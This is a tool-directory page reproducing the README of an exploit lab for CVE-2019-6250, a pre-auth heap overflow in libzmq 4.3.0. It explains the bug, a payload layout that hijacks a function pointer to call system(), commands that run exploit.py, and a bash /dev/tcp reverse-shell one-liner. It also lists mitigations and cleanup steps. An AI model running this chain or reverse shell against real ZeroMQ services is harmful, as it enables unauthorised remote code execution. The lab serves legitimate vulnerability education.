Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2019-6250-lab — End-to-end pre-auth RCE lab for CVE-2019-6250 (libzmq <= 4.3.0, ZMTP/2.0 wire-protocol) | Kitploit
Tools/GitHubGitHub/dinosn/cve-2019-6250-lab
Vulnerability AnalysisExploitationPenetration TestingLearning & EducationRemote Access ToolPayload DevelopmentBinary ExploitationLabs & Practice
GitHubdinosn/cve-2019-6250-lab

cve-2019-6250-lab

End-to-end pre-auth RCE lab for CVE-2019-6250 (libzmq <= 4.3.0, ZMTP/2.0 wire-protocol)

View Repository
34 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2019-6250 — libzmq pre-auth RCE lab

CVE CVSS Affected License

End-to-end working RCE chain + reproducible lab for CVE-2019-6250, the pre-auth heap-buffer-overflow in libzmq's v2_decoder_t::size_ready. A uint64_t pointer-arithmetic overflow lets an unauthenticated peer overwrite the adjacent msg_t::content_t::ffn function pointer on the ZMTP/2.0 wire path, then trigger it via TCP socket close → ~v2_decoder_t() → _in_progress.close() → .

system(cmd)

By Nicolas Krassas (@dinosn).

Lab use only. This kit ships an intentionally vulnerable libzmq 4.3.0. Don't expose port 5555 outside the lab. The bug was fixed seven years ago in libzmq 4.3.1 (commit 1a2ed127).


Demo

system() chain — file proof

system chain

Reverse shell — interactive root

reverse shell

Automated end-to-end smoke test

smoke test


TL;DR (Docker)

root@kitploit:~
docker build -t cve-2019-6250-lab .
docker run --rm -it --cap-add=SYS_ADMIN --security-opt seccomp=unconfined \
           -p 5555:5555 cve-2019-6250-lab

# inside the container:
/opt/zmq-rce/exploit.py 127.0.0.1 5555
ls -l /tmp/PWNED-CVE-2019-6250        # <-- created by the libzmq server process

TL;DR (bare metal — Debian 12 / Kali 2024.x / Ubuntu 22.04)

root@kitploit:~
sudo ./setup.sh                       # builds libzmq 4.3.0 + target, disables ASLR
sudo ./start_server.sh                # binds tcp://0.0.0.0:5555
./exploit.py 127.0.0.1 5555           # default cmd: touch /tmp/PWNED-CVE-2019-6250
ls -l /tmp/PWNED-CVE-2019-6250

Reverse shell

root@kitploit:~
# terminal 1 — listener
nc -lvnp 4444

# terminal 2 — fire the chain
./exploit.py 127.0.0.1 5555 'bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"'

You should see something like:

root@kitploit:~
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 55842
bash: cannot set terminal process group (1355844): Inappropriate ioctl for device
bash: no job control in this shell
root@host:/opt/zmq-rce#

The cannot set terminal process group (1355844) line confirms the shell was spawned by the libzmq target process (PID 1355844), not anything you ran locally.


Repository layout

root@kitploit:~
.
├── README.md             # you are here
├── server.c              # tiny PULL listener — the vulnerable target
├── exploit.py            # full RCE chain
├── setup.sh              # bare-metal provisioner (clones + builds libzmq 4.3.0)
├── start_server.sh       # start/restart the target
├── read_addresses.sh     # regenerate the address profile for a different image
├── run_lab_test.sh       # automated end-to-end smoke test (CI-friendly)
├── Dockerfile            # one-command containerised lab
└── screenshots/          # README screenshots (generated with charmbracelet/freeze)

Mechanics

1. The bug

src/v2_decoder.cpp:117 (libzmq 4.3.0):

root@kitploit:~
shared_message_memory_allocator &allocator = get_allocator ();
if (unlikely (!_zero_copy
              || ((unsigned char *) read_pos_ + msg_size_         //  <-- wraps
                  > (allocator.data () + allocator.size ())))) {
    rc = _in_progress.init_size (static_cast<size_t> (msg_size_));   // safe path
} else {
    rc = _in_progress.init (read_pos_, msg_size_, call_dec_ref,
                            allocator.buffer (), allocator.provide_content ());
    // zero-copy aliasing path — _in_progress.data() == read_pos_
}

msg_size_ is the attacker-controlled big-endian uint64_t from the ZMTP/2.0 LARGE-frame header. With msg_size_ = 0xFFFFFFFFFFFFFFFF, the sum read_pos_ + msg_size_ wraps modulo 2⁶⁴ and ends up less than the right-hand side. The bounds check evaluates false → execution falls into the zero-copy path → the _in_progress message aliases the recv buffer. The decoder then asks the kernel for 0xFFFFFFFFFFFFFFFF more bytes at read_pos_, and recv() happily writes our payload past the recv buffer end into the adjacent content_t[] array (allocated in the same malloc() chunk at decoder_allocators.cpp:88).

2. The chain

root@kitploit:~
[ atomic_counter_t (refcnt) ]   8 bytes
[ recv buffer ]                 8192 bytes  ← bytes start landing at read_pos_+0
[ content_t [ _max_counters ] ] 249 × 40 = 9960 bytes
                                ↑ content_t[0] starts at read_pos_+8183

We send 8224 payload bytes structured so that:

payload offsetbyteswhat it overwrites
[0:16]padding(in recv buffer)
[16:K]command string + NUL(in recv buffer — system's arg)
[K:8183]padding(in recv buffer)
[8183:8191]read_pos+16content_t[0].data (→ command)
[8191:8199]0content_t[0].size
[8199:8207]&systemcontent_t[0].ffn (control-flow target)
[8207:8215]0content_t[0].hint
[8215:8223]0content_t[0].refcnt

When we close the TCP socket, the server's ~v2_decoder_t() calls _in_progress.close(). In msg_t::close:

root@kitploit:~
if (!(_u.zclmsg.flags & shared) || !content->refcnt.sub(1)) {
    content->ffn(content->data, content->hint);     //  -> system(cmd)
}

init_external_storage set _u.zclmsg.flags = 0, so the OR-shortcut takes the branch immediately — refcnt isn't even checked. Our overwritten ffn runs.

No ROP, no shellcode, no info-leak: just one libc symbol resolution and one inline command string.

3. Reaching v2_decoder_t pre-auth

Looking at stream_engine.cpp:707:

root@kitploit:~
bool zmq::stream_engine_t::handshake_v2_0 ()
{
    if (_session->zap_enabled ()) { error (...); return false; }
    _encoder = new v2_encoder_t (...);
    _decoder = new v2_decoder_t (...);     // <-- NO mechanism object
    return true;
}

The ZMTP/2.0 path instantiates v2_decoder_t with no mechanism. Only ZAP rejects 2.0 connections, and ZAP is off by default. Once a peer sends the 12-byte ZMTP/2.0 greeting (0xff + 8 nulls + 0x7f + revision 0x01 + socket-type), every subsequent byte is parsed by v2_decoder_t. No authentication. No handshake. No mechanism state machine.


ASAN evidence

Optional: build with -fsanitize=address and watch the heap-buffer-overflow report:

asan report

The 0 bytes after 18160-byte region confirms the chunk size we computed: 8 (atomic_counter) + 8192 (recv buffer) + 249 × 40 (content_t array) = 18160. The allocation site at handshake_v2_0:719 confirms the bug fires on the pre-auth ZMTP/2.0 path.


Why hardcoded addresses

With kernel.randomize_va_space=0, libc base, libzmq base, the heap, and the I/O thread's malloc arena are all at deterministic addresses. The default profile in exploit.py (DEFAULT_PROFILE) is captured for the bundled lab build (Debian 12 / Kali 2024.1 / glibc 2.38, libzmq 4.3.0 release-mode -O2):

fieldvaluesource
libc_base0x7ffff7c00000/proc/<pid>/maps
system_off0x53910nm -D /lib/x86_64-linux-gnu/libc.so.6
read_pos0x7ffff000bbc1_buf + sizeof(atomic_counter_t) + 9
dist_to_content8183derived from layout
cmd_offset16where in the payload we put the command

When porting to a different glibc / libzmq build, run ./read_addresses.sh > profile.json after start_server.sh, then pass --profile profile.json to the exploit.

In a real-world attack you'd need either an info-leak primitive or a one-gadget call that doesn't require argument control. Both are out of scope for this lab — the goal here is to demonstrate the bug-to-shell pipeline cleanly, not to defeat ASLR.


Mitigations

DefenceEffect
Upgrade to libzmq ≥ 4.3.1Fixed. Commit 1a2ed127 rewrites the bounds check as msg_size_ > size_t(allocator.data()+size()-read_pos_) — no overflow possible.
zmq_setsockopt(s, ZMQ_MAXMSGSIZE, &n, sizeof(n)) with any positive nMitigates. Short-circuits the broken bounds check before it can wrap.
Enable ZAP authenticationBlocks ZMTP/2.0 connections (rejected at stream_engine.cpp:709). Doesn't fix the bug; just prevents the unauthenticated path.
ASLRSlows down weaponisation but doesn't prevent it — the chain primitive itself is unaffected.
Stack canaries / NX / RELRONone of these protect a heap function-pointer hijack.

Cleanup

root@kitploit:~
sudo pkill -9 server-rce
sudo rm -f /tmp/PWNED-CVE-2019-6250
sudo sysctl -w kernel.randomize_va_space=2     # restore default ASLR

References

  • HackerOne #477073 — original disclosure (Guido Vranken).
  • zeromq/libzmq PR #3353 — the one-line fix.
  • zeromq/libzmq issue #3351 — public discussion.
  • NVD CVE-2019-6250.
  • 37/ZMTP — ZeroMQ Message Transport Protocol spec.
  • SystemTek writeup.

Author

Nicolas Krassas — @dinosn

License

MIT © Nicolas Krassas. The intentionally-vulnerable libzmq 4.3.0 source is fetched at build time from the upstream LGPLv3-with-exceptions / MPLv2 repository — its license applies to that code separately.

Disclaimer

For defensive security research, education, and authorized security testing only. Do not deploy the bundled vulnerable build outside a contained lab environment.

Download Tool